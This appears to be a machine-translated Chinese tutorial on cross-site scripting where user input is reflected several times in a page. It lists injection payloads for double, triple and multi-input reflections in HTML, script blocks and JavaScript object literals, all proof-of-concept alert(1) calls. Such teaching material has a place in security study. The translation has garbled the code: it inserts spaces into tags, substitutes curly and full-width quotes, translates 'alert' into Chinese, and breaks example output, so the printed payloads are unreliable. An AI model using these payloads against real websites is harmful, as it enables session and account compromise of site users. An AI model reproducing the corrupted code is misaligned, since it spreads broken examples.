通常在网站中查找XSS时,我们会看到源代码中输入的不止一个反射,这对于绕过几种类型的过滤器非常有用。让我们从一个非常简单的方法开始,了解我们可以使用相同的有效负载进行多少次反射:
<svg onload = write(1) >
示例:Example: French Wikipedia Website => 11111111 (8 times).
为了在基于标记的注入中使用这些事件,我们有以下内容(使用输入和结果解析向量):
双反射 - 单输入
1)p ='onload = alert(1)> <svg / 1 ='
第一次反射的<svg / 1 ='部分将启动标记并打开一个假属性,直到它找到另一个单引号来关闭它,在第二次反射中,使用'onload = alert(1)>。当然,在两次出现之间不能有单引号(通常源的纯HTML部分仅使用双引号)。
'onload = alert(1)> <svg / 1 ='
...... [代码] ......
'onload = alert(1)> <svg / 1 ='
双反射 - 单输入(基于脚本)
1)p ='> alert(1)</ script> <script / 1 ='
或
2)p = * / alert(1)</ script> <script> / *
这对于使用脚本标记的注入是有效的,但为了避免等号,我们有一个额外的结构,使用javascript注释。不幸的是,当两个反射之间存在本机脚本块时,这不起作用,因为本机</ script>会破坏我们的连接。
* / alert(1)</ script> <script> / *
...... [代码] ......
* / alert(1)</ script> <script> / *
三重反射 - 单输入
1)p = * / alert(1)“>'onload =”/ * <svg / 1 ='
或
2)p =`-alert(1)“>'onload =”`<svg / 1 ='
三重反射更复杂,因为在源代码中这3个部分之间具有正确的条件需要一点点运气。此外,我们必须依赖新引入的反引号(`)来在javascript中进行字符串分隔,这在某些情况下可能会出现问题。
`-alert(1)“>'onload =”` <svg / 1 ='
...... [代码] ......
`-alert(1)“> 'onload =”` <svg / 1 ='
...... [代码] ......
`-alert(1)“> 'onload =”`<svg / 1 ='
三重反射 - 单输入(基于脚本)
1)p = * / </ script>'> alert(1)/ * <script / 1 ='
也很复杂,因为我们有一个现有</ script>破坏我们语法的双重可能性,虽然我们不必处理双引号的可能性(通常在源代码中的任何地方)像前一种情况一样打破我们的注入。
* / </ script>'> alert(1)/ * <script / 1 ='
...... [代码] ......
* / </ script> '> alert(1)/ * <script / 1 ='
...... [代码] ......
* / </ script> '> alert(1)/ * <script / 1 ='
多重反射 - 多输入
我们也可能通过2,3或更多不同的输入出现反射。这是最好的方案,甚至可以绕过主要浏览器的反XSS解决方案。
2输入:
P = <SVG / 1 = '&Q =' 的onload =警报(1)>
3输入:
p = <svg 1 ='&q ='onload ='/ *&r = * / alert(1)'>
Javascript代码中的多重反射
通常,当我们直接在javascript代码片段中进行反射时,利用非常简单并且不需要使用另一个反射。
然而,至少有一种情况可能有用。
请使用以下单行代码:
var n = {a:“$ p”,b:“$ p”};
(双反射,单输入$ p)var n = {a:“$ p”,b:“$ q”};
(双反射,双输入$ p和$ q)
即使正确编码或转义双引号以及小于符号(以防止使用</ script>打破javascript块),也可以利用这两个示例:
INPUT
p = -alert(1)} //RESULT *
var n = {a:“ - - art(1)} // ”,b: “ - alert(1)} // ”};INPUT
p = &q = -alert(1)//结果*
var n = {a:“ ”,b: “ - alert(1)} // ”};
* blue是“a”的值,red是“out-value”区域。
看到它在这里工作。
反斜杠()转义用于关闭第一个命名值“a”的双引号,然后该值将仅在下一个双引号上结束,第二个引号是第二个命名值“b”。以这种方式,应该是一个值,实际上成为要执行的代码(“alert(1)”),连接到命名值“a”。最后,为了避免语法错误,我们用“}”关闭变量“n”并注释其余的本机代码。
还有混合的情况,在单个或多个输入的同时在HTML和javascript内部发生反射。在我的私人推特账号@brutalsecrets中,有一个关于最后一种利用的奇怪案例,这可能是撤销和警报弹出之间的区别。
#hack2learn